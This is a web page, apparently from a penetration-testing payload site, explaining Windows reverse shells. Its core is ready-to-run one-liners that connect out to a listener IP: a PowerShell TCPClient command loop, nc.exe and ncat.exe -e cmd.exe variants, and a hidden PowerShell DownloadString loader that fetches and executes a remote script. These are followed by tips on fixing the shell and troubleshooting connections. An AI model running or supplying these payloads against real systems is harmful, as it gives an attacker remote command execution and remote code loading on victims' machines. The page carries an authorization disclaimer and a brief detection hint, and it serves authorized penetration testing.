Windows Reverse Shell: PowerShell, nc.exe, and a Real TTY
How reverse shells work on Windows targets, the PowerShell TCPClient one-liner versus dropping nc.exe, and how to get an interactive console.
Copy-paste one-liners
Open the generatorReady to run against an authorized target. Replace 10.10.14.3 and 443 with your listener IP and port, or use the per-payload link to pre-fill the generator.
PowerShell TCPClient
Windows$client = New-Object System.Net.Sockets.TCPClient('10.10.14.3',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()PowerShell reverse shell with an interactive command loop.
Listener: nc -lvnp 443
CMD ncat -e
Windowsncat.exe 10.10.14.3 443 -e cmd.exeWindows cmd.exe reverse shell using Ncat -e syntax.
Listener: ncat -lvnp 443
CMD nc -e
Windowsnc.exe -e cmd.exe 10.10.14.3 443Windows cmd.exe reverse shell using nc.exe -e.
Listener: nc -lvnp 443
PowerShell DownloadString
Windowspowershell -NoP -NonI -W Hidden -Command "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.3:8000/rs.ps1')"Staged PowerShell loader that pulls a script from your HTTP server.
Listener: rlwrap -cAr nc -lvnp 443
Interactive Windows shells
There is no pty.spawn on Windows. For a stabler session, reconnect with ncat or use a ConPTY-aware payload, and set the code page with chcp 65001 if output is garbled. See the shell upgrade guide.
Detection: these one-liners are loud — outbound TCP from an interpreter, a spawned shell with a socket on its stdio, and odd parent/child process chains. See detecting reverse shells in logs.
Related shells: PowerShellNetcatmsfvenom
Reverse shells on Windows follow the same principle as on Linux — the target connects out to your listener — but the tooling and the quality of the resulting shell differ sharply. There is no /dev/tcp, nc is rarely preinstalled, and a naive shell gives you a console that fights you. This post covers the realistic options for an authorized Windows engagement.
PowerShell Is the Default
PowerShell is on every modern Windows host and can open a socket natively, so it is the usual first payload. The standard TCPClient one-liner connects back, reads commands from the stream, runs them, and writes output back:
$c=New-Object System.Net.Sockets.TCPClient("10.0.0.1",443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object System.Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|Out-String);$r=$o+"PS "+(pwd).Path+"> ";$w=([Text.Encoding]::ASCII).GetBytes($r);$s.Write($w,0,$w.Length);$s.Flush()}
It is verbose because PowerShell has no socket-to-shell shortcut — you implement the read/eval/write loop yourself. The mechanics, encoding choices, and common failure points are covered in depth in reverse shells with PowerShell. Your listener stays the familiar nc -lvnp 443.
Dropping nc.exe or ncat.exe
If you can write a file to the target, a static nc.exe or ncat.exe gives you the same simple model as Linux:
nc.exe 10.0.0.1 443 -e cmd.exe
ncat.exe 10.0.0.1 443 --ssl --exec cmd.exe
The trade-off is that you are now putting a binary on disk, which is more detectable and more invasive than a fileless PowerShell call. On a monitored host, prefer the native approach. As always with --ssl, both ends must match (see choosing a listener).
The Shell You Get Is Painful — Fix It
A basic Windows reverse shell has no command history, no arrow keys, no tab completion, and breaks on any program that expects a real console (interactive prompts, runas, anything curses-like). On Windows the equivalent of a Linux TTY upgrade is a ConPTY-based shell, which attaches your session to a genuine pseudo-console so interactive tooling works. It is the Windows analogue of the pty.spawn/stty dance described in upgrading a reverse shell — different implementation, same goal: stop fighting a half-shell.
Why Yours Isn't Connecting
- Constrained Language Mode / execution policy can blunt the PowerShell payload — confirm what the host allows.
- Egress filtering — Windows enterprise networks often allow only
443/80outbound; prefer those. - Encoding — Windows console encoding mismatches garble output; the PowerShell guide covers this.
- Listener mismatch — verify with choosing a listener.
General checklist: why reverse shells fail.
Generate the Windows Payload
The reverse shell generator builds the PowerShell TCPClient one-liner (and the nc.exe/ncat.exe forms) with your LHOST/LPORT filled in and the matching listener alongside — so you can focus on the host's constraints, not the syntax.
Authorized Testing Only
Use these techniques only on Windows systems you own or are explicitly authorized to assess. Nothing here is about evading defenses on systems you do not have permission to touch; the legitimacy comes entirely from the authorization.